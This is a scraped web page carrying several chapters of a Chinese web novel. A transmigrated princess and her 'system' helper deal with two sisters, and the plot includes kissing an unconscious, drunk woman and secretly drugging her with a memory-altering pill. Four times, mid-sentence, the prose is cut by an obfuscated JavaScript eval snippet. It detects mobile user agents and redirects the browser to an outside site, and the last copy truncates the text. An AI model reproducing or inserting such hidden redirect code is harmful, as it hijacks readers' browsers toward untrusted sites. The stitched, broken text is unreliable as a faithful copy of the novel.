谢舒遥的忍耐力已经快要到达极限了,同时她的心里还升起了一股危机感。 被谢凌闲这样看着,她光是维持住自己的表情,就已经耗费了大部分的精力,偏偏在这样的情况下,江迎瓷还不看她,反而盯着谢凌闲瞧了很久。 江迎瓷是觉得谢凌闲比她更有吸引力么? 谢舒遥不愿承认自己比不过谢凌闲。 她刚才不仅跳了舞,还抱着江迎瓷撒娇卖痴,种种表现哪一样不比谢凌闲更努力听话? 江迎瓷都已经被她勾得马上就要亲下来了,眼睛竟然还在看着谢凌闲。 谢凌闲这个没用的废物,果然只会给她找麻烦添堵。 她是让她勾引长公主没错,但也不是现在! 谢舒遥咬紧了牙关,眼底各种情绪交错着。 江迎瓷没有注意到怀里人那仿佛下定了什么决心一样的眼神,她还在听着032号的提示声。 【恭喜宿主,任务进度终于突破20啦!】 她才刚来几天而已,就已经完成了五分之一。 江迎瓷忍不住露出了笑容。 这个任务也没有想象中的那么难嘛。 她正想着,就感觉怀里的人又很轻地挣扎了一下,同时耳边响起了谢舒遥极低的闷哼声。 “嗯……” 江迎瓷不明所以,她下意识垂眸望向谢舒遥,视野里那双浅色的眼眸却好像在顷刻间放得更大了。 殷红的唇瓣贴着江迎瓷的唇角蹭了过去,温热与柔软相触的那一瞬间,江迎瓷的身体好像被定住了一样,整个人僵成了一座雕塑。 唇边迟来地泛起了一丝凉意。 江迎瓷木木地侧眸望去,就见谢舒遥红唇微启,漂亮的唇缝间隐约可见一点儿嫩红的舌尖。 江迎瓷:…… 所以刚才,主角受是不是,舔了她一口? 15.长公主的双面替身情人(十五) 主角受舔了她一口! 而主角攻就在不远处沉默不语地看着。 江迎瓷已经快凌乱了。 这算怎么个事? “032号!” 江迎瓷难得有点绷不住表情,“你不是说主角受圣洁的身体,是我这种反派女配不配沾染的吗?” 032号也还处在宕机中没有回过神来,【啊……没错,理论上来说是这样……】 怀里人的眼神像带钩子一样,神色迷离地望着自己,那只柔弱无骨的手也在肩上有意无意地打着圈。 江迎瓷暗暗打了个寒颤,只觉得唇边残留的那种酥麻触感更加明显了些。 “殿下……” 谢舒遥被江迎瓷这样直勾勾地看着,一时也摸不准她究竟是生气还是怎样。 她觉得江迎瓷的眼里好像翻涌着什么,对方的神色明明灭灭,复杂难辨。 不过江迎瓷没把她扔出去,应当也算是默许的意思吧? 反正都已经做到这一步了,谢舒遥也顾不上谢凌闲还在旁边看着了,她干脆一不做二不休,又收拢双臂继续缠了上去。 原本她只是单手搭在江迎瓷的肩上,现在却变成了双手搂着江迎瓷的脖子,身体也贴得更近,胸口毫无阻隔地压着江迎瓷,绵软而温热的触感瞬间将江迎瓷包围占据。 “殿下~” 似水般起伏婉转的嗓音柔柔地回荡在江迎瓷的耳边。 她感觉自己像抱着一团棉花,谢舒遥放松后整个人都是软的,特意清洗过的身体散发着淡淡的暖香,直往江迎瓷鼻子里钻。 她不需要低头就能看清面前人含雾的双眼,面颊上羞涩而期待的薄粉,还有那双刚刚才亲吻过她的,色泽漂亮的唇瓣。 谢舒遥就像一朵初初绽放的花,引诱中又透着几分含蓄内敛,她密不透风地缠着江迎瓷,仿佛要将江迎瓷吞没似的,甚至就连说话间,唇都还在江迎瓷的耳侧似有若无地蹭着。 江迎瓷想把她推开,她却缠得更紧。 江迎瓷:…… 主角攻到底是怎么回事,为什么都到这一步了,她还不出声打断? 难不成她是在顾忌森语的存在? 想到这里,江迎瓷一边努力控制住怀里的谢舒遥,一边咬咬牙道:“森语,你先回扶风院吧。” 森语再度出现,她欲言又止,“殿下……” 观星台外的守卫已经被殿下调走了,若是她也离开,谁来保护殿下? “回去。”江迎瓷的语气不容拒绝。 谢舒遥见状也不说话了,谢凌闲更是从头到尾一言不发,两人都弄不清楚江迎瓷想做什么。 森语不想听,可江迎瓷是她的主子,主子的命令,暗卫必须无条件服从。 她默了几秒后,终究还是点了点头,“是。” 森语纵身飞出窗外,身影很快消失在了夜色里。 不过江迎瓷猜,她应当没有走很远。 但那也足够了。 森语一走,阁楼里的气氛顿时变得更加难以言说。 “殿下。”谢舒遥回过神,趁着江迎瓷还在思索,赶紧继续自己刚才没做完的事。 “阿瑶能做到的。” 她说着,轻轻环住了江迎瓷那只空闲的手,随后又在江迎瓷没有反应过来的时候,带着她的手径直覆上了自己雪白的长腿。 “殿下……” 谢舒遥欲说还休。 她再次在心里暗恨谢凌闲多事,要是此刻没有谢凌闲在,她说不定还能发挥得更加自然。 手掌下滑腻的感觉终于让江迎瓷清醒了过来,她一低头就看见自己的手正按在谢舒遥的腿根处,再往上一点,说不定都能…… 江迎瓷:!! 她无意识紧了紧手指,指尖几乎陷进了那一片白软里。 正要找理由拒绝,可方才还没什么反应的脑袋却在这时忽然涌上了一股眩晕感,像喝醉后那种茫然无力的感觉。 江迎瓷晃了晃脑袋,脑海中骤然灵光一闪,“032号——” 她好像知道是怎么回事了。 话没说完,江迎瓷就闭上眼睛晕了过去。 谢舒遥起先还没有察觉,她只觉得江迎瓷倏然重了不少,紧接着身体也朝自己压了过来。 谢舒遥还以为江迎瓷是真打算当着谢凌闲的面宠幸自己,她一边抱着江迎瓷的身体,一边柔声委婉道:“殿下,让阿瑶先……” “别白费功夫了。” 谢凌闲在不远处嘲讽出声。 谢舒遥的表情还没来得及转变,“什么……” “她已经晕过去了。”谢凌闲脸上没什么情绪。 说来也巧,森语刚走不久,她体内归尘丸的药力就失效了。 这正好方便谢凌闲,将江迎瓷晕倒时那猛然变弱的呼吸声听了个清楚。 谢舒遥拧着眉抬起江迎瓷的脑袋,果然见她双眼紧闭,随着抬头的动作,她搭在谢舒遥腿上的那只手也无意识地滑了下去。 这是怎么回事? 谢舒遥探了探江迎瓷的鼻息,被她抱着的人表情不算痛苦,应当不是出了什么事。 目光在江迎瓷眼尾处的那抹薄红徘徊了几息,一个略显荒唐的念头浮现在了谢舒遥的心里。 江迎瓷该不会是喝醉了吧? 她低头嗅了嗅江迎瓷身上的酒气,越发肯定了这个猜测。 早不醉晚不醉,怎么偏偏是这时候。 头顶倏然覆下一片阴影,谢舒遥抬起眼眸,就见谢凌闲不知何时走了过来。 她身量高挑,居高临下望着抱在一起的两人,眉眼显得格外冷淡疏离。 “现在怎么办?” 谢舒遥犯了难。 谢凌闲打量着被谢舒遥抱着的江迎瓷,她歪着脑袋靠在谢舒遥肩上,双眸闭合薄唇微抿,长发垂散间,一截细长玉颈清晰可见。 向来高高在上充满威严的长公主殿下,如今就这样毫不设防地被人抱着,任人揉捏。 注意到谢凌闲的目光,谢舒遥的眉头皱得更紧,“你别轻举妄动。” 这里除了江迎瓷之外,就只有她们两个人,江迎瓷要是出了什么事,她俩也得跟着陪葬。 谢凌闲扯了扯唇角,她在谢舒遥心里就是这么愚蠢鲁莽的一个人么? “那你说,该怎么办?” 谢凌闲把问题又抛回给了谢舒遥。 谢舒遥重新看向怀里的江迎瓷。 昏迷时的她比清醒时要好接近多了,甚至有种说不出的乖巧和温柔。 谢舒遥抬起手,掐住了江迎瓷的下巴。 江迎瓷因为她的动作而被迫抬起了头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148951|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇瓣也不自觉地张开了一条缝隙。 谢舒遥嗅了嗅,江迎瓷也不知道用的是什么香,她都闻了一晚上了,还是觉得这股味道很诱人。 还有她被自己掐着脸时的样子,果然跟自己想的一样。 谢舒遥憋了一晚上的愤恨怒火好像都在此刻烟消云散了,她垂眼思索了几秒,而后扣着江迎瓷的腰肢,慢慢往下低头。 谢凌闲见状眼神变了变,她在谢舒遥彻底印上去之前,先一步伸手抵住了谢舒遥的肩膀。 快到脑子都没有反应过来。 但等反应过来之后,谢凌闲却也没有松开手。 她目光沉沉,“你想干什么?” 谢舒遥还掐着江迎瓷的双颊,她就着这个姿势,仰头冷静地跟谢凌闲对视。 “我做什么,好像不需要经过你的同意。” 谢凌闲不也从来不听她的话? 心里莫名升起了一股躁意,谢凌闲面无表情,“方才是你自己说的。” “要谨慎行事。” “不谨慎的人是你。”谢舒遥反驳道。 她瞥了眼谢凌闲按在自己肩上的手,“若是不留下些证据,长公主怎么会相信,我跟她已经有肌肤之亲?” 证据? 谢凌闲定定地看着昏迷不醒的江迎瓷,“所以你就要亲她?” 谢舒遥闭唇不言,像是默认。 谢凌闲也说不清自己在想什么,她问的是谢舒遥,视线却始终落在江迎瓷身上。 “谢舒遥,你是不是已经忘了她是谁了?” 谢舒遥摇了摇头,“我没忘。” 她绝不可能忘记。 “是么?”谢凌闲冷笑,“那你不嫌恶心了?” 谢舒遥眉心微蹙,她没有立马答话,而是直勾勾地盯着谢凌闲,半晌后才冷不丁问道:“你在气什么?” 她甘愿牺牲自己,又没让谢凌闲代劳,谢凌闲有什么可生气的? 谢凌闲闻言,倏地收回了按在谢舒遥肩上的手,“你在胡说八道什么?” 她怎么可能生气? 她只是担心谢舒遥会被江迎瓷表现出来的温柔假象迷惑罢了。 不等谢舒遥答话,谢凌闲就又语气僵硬道:“你自己心里有数就好。” 她说完,便用力撇开了视线。 要不是受人所托,她才不会管谢舒遥的死活。 见她终于不再阻拦,谢舒遥也没功夫再搭理她。 她将注意力重新放在了江迎瓷身上。 原本要落在侧颈处的吻被谢凌闲给打断了,谢舒遥理了理思绪,正要再度凑近时,脑袋里却又多出了点儿别的想法。 她想起了前两次江迎瓷那躲避的态度。 她好像并不喜欢自己亲她。 长公主有过许多宠妾,之前住在飘絮馆的那位紫夫人就是其中之一。 谢舒遥虽然没亲眼见过,却也时常听如意提起长公主宠爱紫夫人时的场景。 那江迎瓷会亲紫夫人吗? 还是说,她的排斥和不喜,仅仅只是针对自己? 谢舒遥注视着江迎瓷那双染了醉意的殷红唇瓣,眸底的情绪不禁更深了些。 她改变了主意,揽在江迎瓷腰间的手收紧,将人禁锢在自己怀里。 而后低头毫不犹豫地吻了上去。 16.长公主的双面替身情人(十六) 江迎瓷这一觉睡得不是很踏实,半梦半醒间总感觉好像听到了032号的声音。 第二日醒来,她才发现这并非是她的错觉。 【恭喜宿主!】 【初步达成“关键时刻总被打断”成就!】 脑袋还有些晕,江迎瓷又闭着眼睛缓了缓,“这是什么意思?” 【说明你和主角受之间即将发生的、不该有的剧情被主角攻及时出手拦截了。】 江迎瓷蓦然睁开了眼,“昨晚发生什么了??” 她晕倒之前,似乎都还无事发生。 怎么睡醒一觉,还达成成就了? 是主角攻受趁机对她做了什么吗? 032号的语气有些复杂,【宿主,你自己看吧。】 想到昨晚的事,032号到现在都还有些缓不过神来。 自己看? 江迎瓷撑着身体想坐起来,右边胳膊却沉甸甸的,像被什么东西压着一样。 她不明所以转头望去,还有些模糊的视线渐渐凝聚,直到最后终于看清了压着自己的是什么。 是谢舒遥。 谢舒遥枕着她的胳膊,带着睡意红晕的脸颊被挤得微微鼓起来,长睫闭合呼吸平稳,一只手还轻轻搭在她的肩膀处,手腕上隐约可见一点儿暧昧的红痕。 也不只是手腕。 在谢舒遥的颈侧和锁骨上,还有更多这样类似的痕迹。 江迎瓷重新闭眼又睁开,眼前的景象却还是跟刚才一样,显然这并不是她的幻觉。 昨晚果然很精彩,怪不得连成就都出现了。 江迎瓷深吸了口气,接着又抬眼看向别的地方。 既然主角受躺在她怀里,那主角攻呢? 谢凌闲就跪在不远处。 江迎瓷一转头,正好对上了她看过来的视线。 谢凌闲的眼底漆黑深邃,比起之前的清冷和从容,似乎还多了些更加复杂的情绪。 江迎瓷下意识又扫了一眼睡在自己身旁的谢舒遥。 谢舒遥身上的痕迹,应该就是谢凌闲弄出来的吧? 除了她,似乎也没有别人了。 这么说来,岂不是昨晚她晕过去之后,主角攻受就当着她的面这样那样了? 完事之后,主角攻还亲手把爱人送到她这个反派女配的床上,自己则是跪在旁边等着。 好一对惨受欺压只能隐忍求全的爱侣。 真是听者伤心闻者落泪。 怪不得032号会发出那样的感慨。 江迎瓷感觉自己弄懂了真相。 她倒没有被当成Play一环的不满,毕竟她的角色本就是这样的。 大概理清楚后,江迎瓷安心了不少,她清了清嗓子,随后毫不犹豫地伸手将自己怀里的谢舒遥推下了榻。 坠地声伴随着谢舒遥的闷哼声同时响起。 江迎瓷撑着身体坐起来,垂眸就见谢舒遥正愣愣地看着自己,她像是才醒的样子,表情尚且有些迷蒙,但很快就彻底清醒过来,踉跄着双膝跪在了江迎瓷脚边。 “殿下?” 江迎瓷不说话,只定定地看着她。 谢舒遥的眼眶很快红了起来,眼底沁着湿意,“殿下恕罪,是阿瑶放肆了。” 她指的是留宿一事。 如意和冬莺曾经说过,长公主不喜后院女子留宿,即便是再晚,也会命丫鬟将人送回自己的院子。 说不定这还是江迎瓷头一次和一个女子同榻而眠。 整整一夜。 江迎瓷一直不出声,谢舒遥抬着的脑袋慢慢低了下去。 她似乎身体不太舒服,虽然跪得很直,腿却在隐隐颤抖,一副要倒不倒的样子。 江迎瓷隐晦地又瞥了眼谢凌闲。 谢舒遥到底是装的,还是这两人昨晚当真这般激烈? 江迎瓷有点儿好奇。 奈何她的身份实在不便开口询问,江迎瓷只能当做不知情,她又特意等了会儿,才语调冷淡地对谢舒遥道:“昨夜发生了什么?” 昨夜啊。 跪着的两人听见这话,脸上顿时表情各异。 谢舒遥的思绪被拉回了几个时辰前。 首先感受到的是软。 意想之中的恶心和反胃感并没有到来,反倒是唇瓣仿佛触碰到了融化的蜂蜜般,温热中带着绵绵的甜意,将谢舒遥的感官完全占据。 她有一刹那忘记了谢凌闲就在旁边看着,视野里只剩下了江迎瓷白皙透红的面颊,和鸦羽般的长睫。 谢舒遥不自觉地更深入了一点儿,掐着江迎瓷脸颊的手也越发收紧。 昏迷中的江迎瓷发出了一声低哼,“唔……” 这声喘息惊醒了谢凌闲,她终于忍无可忍出声打断道:“够了。” 谢舒遥慢悠悠抬起头,她的脸也很红,连带着耳朵也一片滚烫。 谢凌闲的目光却被江迎瓷给吸引了。 江迎瓷还闭着眼,一副毫不知情的样子,可她的双颊却浮现出了醉意,原本闭合的唇瓣也不知何时开启了一条缝隙,唇上依稀残留着可疑的水渍。 足以想象谢舒遥刚才究竟都对她做了些什么。 耳边仿佛还回荡着那一声略显沙哑挣扎的闷哼,谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151958|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌闲掐紧掌心,“就算是要留证据,也不是这样吧?” 她是不懂,但也能看出来,这算什么欢好过后的痕迹? 谢舒遥不过是在借着这个理由满足自己内心的恶欲罢了。 谢凌闲真的怀疑,谢舒遥当真没有动心吗? 谢舒遥舔了舔自己的唇瓣,舌尖仿佛都还弥漫着江迎瓷身上的香气,她镇定自若,“我是比不上郡主经验丰富,自然不清楚应该先从哪里开始。” 她经验丰富? 谢凌闲眸光冷沉,“谢舒遥,事实如何,你自己心里清楚。” 谢舒遥嗤了声,“你既然帮不上忙,就别指手画脚。” 她复又低头,将唇印在了江迎瓷的颈侧。 江迎瓷歪着脑袋,眉心仿佛都因为谢舒遥的靠近而蹙了起来。 谢凌闲只恨自己眼神太好,如此近的距离,完全足够她看清江迎瓷此刻不经意泄露出的情态。 明明人都还没醒,就流露出这样的表情…… 是在她面前从来没有过的。 谢舒遥松开了手。 江迎瓷的衣裳还是完整的,但脖颈上却多了几点红痕,像散落的花瓣,充满了靡艳的气息。 “药你带了吗?” 谢舒遥的面色严肃了许多。 谢凌闲顿了下,很不想搭理她,但最后还是从腰后隐蔽的地方取出一枚小药丸。 “你确定要给她吃?” 为了避免打草惊蛇,她们原本已经放弃对江迎瓷用药了。 “机会难得。” 之前是因为江迎瓷一直清醒着,她太聪明,谢舒遥没有把握能骗过她。 但眼下江迎瓷难得喝醉了,四周又没有旁人在,可谓是天时地利人和,此时不用更待何时? 谢舒遥从谢凌闲手中接过药丸,而后径直塞进了江迎瓷的嘴里。 指腹触碰到唇瓣的那一秒,方才体会过的感觉仿佛又重新浮现在了脑海里,谢舒遥的眼神不禁飘忽了一瞬。 “这下应该够了?”谢凌闲低声问道。 “嗯。” 谢舒遥将江迎瓷平放在榻上,“等到明日她醒后,脑袋里自然会多出些没有的记忆来。” 那才是这颗药最大的功效。 记忆回笼。 面对江迎瓷的询问,谢舒遥半真半假道:“殿下喝醉了。” “然后呢?”江迎瓷揉了揉自己的太阳穴。 “殿下您不记得了吗?” 谢舒遥抬起下巴,露出自己脖颈间的吻痕。 “昨夜就在这里。” “您宠幸了阿瑶。” 17.长公主的双面替身情人(十七) 江迎瓷心知肚明她说的是假的。 清醒时她都尚且不知道该怎么做,更遑论喝醉之后了。 但即便知道谢舒遥在说谎,江迎瓷却也不能表现出来。 她蹙了蹙眉心,“是么?” 脑海里依稀闪过了一些画面,像是自己被谢舒遥抱在怀里的样子,江迎瓷打了个寒颤,莫名感觉后背有点儿发凉。 她故意装出怀疑的样子,探究的目光在谢舒遥和谢凌闲的身上来回打转。 谢舒遥好像有些紧张,但也可能是冷的,至于谢凌闲,她低垂着眉眼,江迎瓷不太能看清她眼底的真实情绪。 这两人的演技倒是一个比一个好,说谎都不带眨眼的。 江迎瓷的脸色不太好看,不知是不是醉酒的缘故,她感觉头还有些晕。 长公主的脾气本就喜怒无常,此时身体不适,更有理由冲两人发火。 因此江迎瓷顺其自然地甩袖道:“嬷嬷没有跟你讲过规矩么?” 谢凌闲起先还以为这句话是对自己说的,直到她抬起头,发现江迎瓷正表情沉冷地望着谢舒遥,她才反应过来江迎瓷是在说谢舒遥没规矩。 真是太阳打西边出来了。 明明该是紧张害怕的时候,谢凌闲的心里却不合时宜地涌上了一丝幸灾乐祸。 往日这句“没规矩”,可都是江迎瓷用来训斥她的。 谢舒遥也有今天。 谢舒遥闻言却有些愣神。 她好像小看了江迎瓷的狠心。 即使江迎瓷看起来像是已经相信了两人已有肌肤之亲,可她对自己的态度却并未因此转变些什么,甚至相比起之前,还更多了一丝不耐烦。 就因为她睡在了江迎瓷的身旁吗? “殿下。” 谢舒遥眼眶泛红,“是阿瑶忘了规矩,请殿下责罚。” 她的身体摇摇欲坠,清瘦的肩膀也跟着垂了下去。 明明一刻钟前两人还亲密无间地抱在一起,可现在她却只能卑微可怜地跪在江迎瓷脚边认错。 江迎瓷没有反驳谢舒遥的话,而是冲谢凌闲道:“过来。” 谢凌闲的心脏突然飞快跳动起来,她慢慢靠近,在离江迎瓷还有一步远的时候,面前的人终于叫了停。 那只玉白修长的手毫不客气地捏住了谢凌闲的下巴。 谢凌闲被迫抬起头,就见江迎瓷正满含打量地扫视着自己。 “你的规矩学得如何了?” 谢舒遥的视线也因为这句话而落在了谢凌闲的身上。 两人都隐约猜到了江迎瓷的打算。 谢舒遥掐紧了掌心。 事情的发展为什么跟她想的不一样。 谢凌闲深知这个问题很重要,她的回答要是再让江迎瓷不满意,或许她就真的再也没办法以“侍妾”的身份留在江迎瓷身边了。 “柳嬷嬷说妾学得很好。” 抬眼望进江迎瓷深邃黝黑的瞳眸里,谢凌闲鬼使神差地又添了一句: “殿下要亲自查验吗?” 谢舒遥差点儿咬碎了一口银牙。 谢凌闲之前不是还像个闷葫芦一样吗,怎么这会儿变得这么能说会道了。 看来她之前也是在伪装。 江迎瓷闻言也有些惊讶。 这可不像是主角攻会说出来的话。 难道昨晚主角受偷偷给主角攻补课了? “是么?” 江迎瓷用指腹摩挲了一下谢凌闲的唇角,不等谢凌闲因为这个动作而愣神,她就飞快收回了手。 “那接下来就换你来伺候本宫。” 果然如此。 谢凌闲的眼底亮起了一抹微光,“阿绾遵命。” 谢舒遥则是难掩落寞,她心有不甘,却也只能眼睁睁看着江迎瓷就这样拂袖而去。 回到扶风院,江迎瓷就有些着凉了。 茗月一边喂她喝药,一边骂森语。 “殿下千金之躯,岂能在那种地方安置?让你保护好殿下,你都干什么去了?” 森语跪在屋子中央一语不发。 江迎瓷有心想打圆场,没想到茗月却连她也一起说,“殿下,您也要仔细着些,本来风寒就还没好。” 就算真那么喜欢那两个女子,把人带到扶风院偏殿也就罢了,怎么能真的跟人在观星台胡闹一夜? 江迎瓷摸了摸鼻尖。 她那是胡闹吗? 她是晕过去了。 好命苦,事一件没做,锅一个没少背。 江迎瓷咬着嘴里的蜜饯,等那股药的苦味淡去一些之后,她才在脑海中对032号道:“我知道了。” 032号:【嗯?什么?】 江迎瓷回忆着昨夜的经过,“我晕倒的触发条件。” 之前她以为,只要是她跟主角受之间的亲密戏份,必然会被剧情力量打断。 可昨夜谢舒遥主动亲她的时候,她却一点儿感觉都没有。 江迎瓷语气笃定:“这个所谓的剧情阻拦,只针对我对主角受做出的亲密行为。” 也就是说,她对主角受下手是违规的,必然会被突来的事件打断。 但如果是主角受反过来对她动手动脚,双标的剧情力量只会当作看不到。 032号恍然大悟:【这样吗?怪不得……】 怪不得? 没等032号说完,江迎瓷的耳边就又响起了茗月的声音,“殿下,您脖子上的……可要抹些药?” 脖子上的? 江迎瓷面露迷茫。 茗月也有些尴尬,以往殿下从不许这些女子在自己身上留下印记的,看来她对那两姐妹是当真喜爱。 茗月拿过梳妆台上的铜镜,让江迎瓷能看得清楚。 江迎瓷偏了偏脑袋,只见自己原本空无一物的颈间,不知何时竟然多了几枚鲜艳的吻痕。 江迎瓷:…… “032号?!” 江迎瓷头一次破了功,她抚摸着颈间的红痕,眼里露出了震惊迷茫之色。 “这是怎么回事?” …… 谢舒遥回到飘絮馆就病倒了。 她穿的比江迎瓷更单薄,又吹了一夜冷风,感染风寒也是合情合理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162513|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如意着急忙慌地想去替谢舒遥请府医,那些之前对她颇为客气的下人此时却变了态度,不耐烦地随口将她打发了。 “着凉而已,死不了人,府医是为殿下看病的,不是什么没名没分的人都能请得起的。” 他竟然说谢舒遥是没名没分的人。 如意气坏了,却又拿对方无可奈何。 她不明白这些人为什么忽然变了态度,想到还病着的谢舒遥,如意又是迷茫又是心疼。 谢舒遥倒是有心理准备,只是她没想到江迎瓷能做到这种地步罢了。 过往的恩宠仿佛泡沫幻影,眨眼就消失不见了。 从前谢舒遥不觉得,现在骤然失去了,她才终于体会到不受宠的人在这府里过的究竟能有多艰难。 人人都能踩一脚,吃不饱穿不暖,连病了都买不到药,只能这么拖着。 谢舒遥原本病得不严重,她只是想用苦肉计来求得江迎瓷的心软罢了。 这会儿却是真的有些病了,被气的。 江迎瓷怎么能那么狠? 她对自己宠幸过的女子,就当真没有一丝心软吗? 谢舒遥的凄惨都被众人瞧在眼里,府里流言四起,说的不外乎是谢舒遥自作聪明,偷鸡不成蚀把米。 “一时得了殿下的喜爱又有什么用?还不是被厌弃了。” “总有人觉得自己是殿下心里的例外,也不瞧瞧从前那位……” 紫蕴也得到了消息。 她是困在秋雁阁出不去,但对外面的事却依旧十分清楚。 她扶着窗棂,不仅没有被冒犯的愤怒,脸上反倒流露出了一抹浅笑。 “我就知道……” 殿下不会喜欢任何人。 她对那两名女子,也不过只是一时新鲜罢了。 紫蕴这样想,江寻芷同样也如此认为。 “阿姐当真对那个贱人不闻不问?” “是。” 殿中跪着的暗卫头也不抬,“长公主知道那女子病了,什么都没说。” “哈哈哈哈。” 江寻芷忍不住笑出了声。 “朕知道了。” 她心情大好,“继续盯紧她。” 既然阿姐不是真的喜欢,那留着也无妨。 阿姐心里最重要的人,肯定还是她。 …… 与谢舒遥的落魄孤寂相对应的,是谢凌闲的盛宠和春风得意。 “阿绾姑娘,殿下命我等来接您去扶风院。” 抬轿的人语气讨好。 谢凌闲盛装打扮,从衣裳配饰到发间的珠釵,无一不是今年的新样式,价值不菲。 她跟着来人走向院门口,快跨过门槛时,谢凌闲似有所感,她回眸望了一眼,正同站在窗边的谢舒遥对上了视线。 谢舒遥唇色苍白,面上尤带病容,她眼底没有笑意,就那样静静地注视着谢凌闲。 谢凌闲只瞥了眼,就收回了目光。 她弯腰坐进了小轿里。 谢舒遥能做到的,她也一样能做到。 她不比谢舒遥差什么。 18.长公主的双面替身情人(十八) 其实还是不一样的。 望着不远处闭眼假寐的江迎瓷,谢凌闲眼里的情绪慢慢落了下去。 她不知道谢舒遥从前被召见的时候都做了些什么,但江迎瓷对她的态度确实是分外冷淡。 虽然外人都说她代替谢舒遥成了长公主的新宠,但只有谢凌闲自己知道,从她第一次被召见到现在,江迎瓷都没正眼看过她几次。 比起宠爱的侍妾,谢凌闲觉得自己更像是一个没有生命的花瓶,她不需要做什么,只要安安静静地呆在旁边,让偶尔起了心思的江迎瓷能够瞧上一眼就行了。 甚至不知是不是谢凌闲的错觉,她总觉得江迎瓷看她的眼神,就好像是在透过她看别人一样。 至于那个别人是谁,自然无需多言。 谢凌闲想不通。 江迎瓷到底喜欢谢舒遥什么? 她低下脑袋,眼里划过了一抹嘲讽。 既然那么喜欢谢舒遥,那又为何对谢舒遥的死活不闻不问? 谢凌闲不相信江迎瓷没有得到消息。 谢舒遥也算是才伺候过她,她就把人扔在飘絮馆里自生自灭,心狠程度可见一斑。 谢凌闲想着,目光不自觉地又落在了江迎瓷身上。 那人正靠在软榻上晒太阳,面容被暖阳照得微微有些透明,她合着眼,手里还拿着本游记,悠闲又自在。 她到底在想什么? 谢凌闲琢磨不透。 她到底哪里比不上谢舒遥? …… 江迎瓷这几天都睡得很晚。 她发现了一本新的小说,半夜不睡觉就跟032号偷偷躲在被窝里看小说,为了方便,江迎瓷还特意找理由把茗月给调走了,不让她晚上留下来守夜。 夜半时分,万籁寂静。 江迎瓷正看到关键时刻。 [来人竟然是一名女子!她一挑剑花,反将歌女遮面的轻纱勾了下来,而后朗声笑叹:“好一个标志的美人儿~”] 江迎瓷惊讶又好奇,“还能这样。” 在看到“歌女的长发被剑风扬了起来”的时候,江迎瓷感觉自己的脸侧好像也拂过了一阵细风,她正要感慨自己太沉浸时,就听耳边骤然响起了一道熟悉的嗓音。 “长公主殿下好雅兴。” 江迎瓷面色一凝。 她慢吞吞抬起头,同一身黑色夜行衣打扮的谢凌闲对上了视线。 对方头顶“主角攻”几个字在烛光下显得格外耀眼。 江迎瓷:…… 她不动声色将话本子压在掌下,“你还敢来。” 谢凌闲见她反应镇定,明显是认出了自己,心头不知怎的,那股萦绕了几日的躁意莫名淡了不少。 “殿下近日美人在侧,日子过得潇洒快活,想必早就将我上次说过的话给忘了。” 江迎瓷微不可查地顿了顿。 谢凌闲口中的美人,指的是她自己吗? 没想到表面清冷脱俗的谢凌闲,私底下竟然是这种自恋的性格吗? 夸自己的时候脸都不带红的。 心里这样想,表面上江迎瓷却嗤笑了一声。 “你算什么东西?” 她掀起眼皮,语气带着自然的轻蔑和不屑,“本宫何需记得你?” “殿下可真是有恃无恐。” 谢凌闲抬起手腕。 江迎瓷只觉得眼前微微一花,而后颈侧传来了一阵凉意,她稍稍低头,看见一把小巧锋利的匕首正抵在自己脖颈间。 位置十分巧妙的,正好是那几枚吻痕所在的位置。 江迎瓷悟了。 032号说她身上的痕迹是谢舒遥留下的,难不成谢凌闲这是吃醋了? 这几日她左思右想,怎么也接受不了这个绿帽,所以这才决定来吓一吓自己,好出口恶气? 没能在江迎瓷的眼里看见任何惊慌之色,谢凌闲有些遗憾,明明上一次江迎瓷还十分紧绷,这次却表现得如此淡定。 她就这么笃定自己不会杀她? “殿下不怕么?” 思来想去,谢凌闲还是决定直接问出口。 “怕?” 江迎瓷眉也不皱,“有本事你就动手。” “本宫若是死了,你也逃不了多远。” 谢凌闲沉默了几息。 江迎瓷显然不受她的吓唬,而她也确实没有要真的伤害江迎瓷的打算。 她的威胁落在江迎瓷眼里,说不定不仅不可怕,反而还有些好笑。 比起性命受到威胁,江迎瓷更难以接受的或许还是…… 匕首顺着江迎瓷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 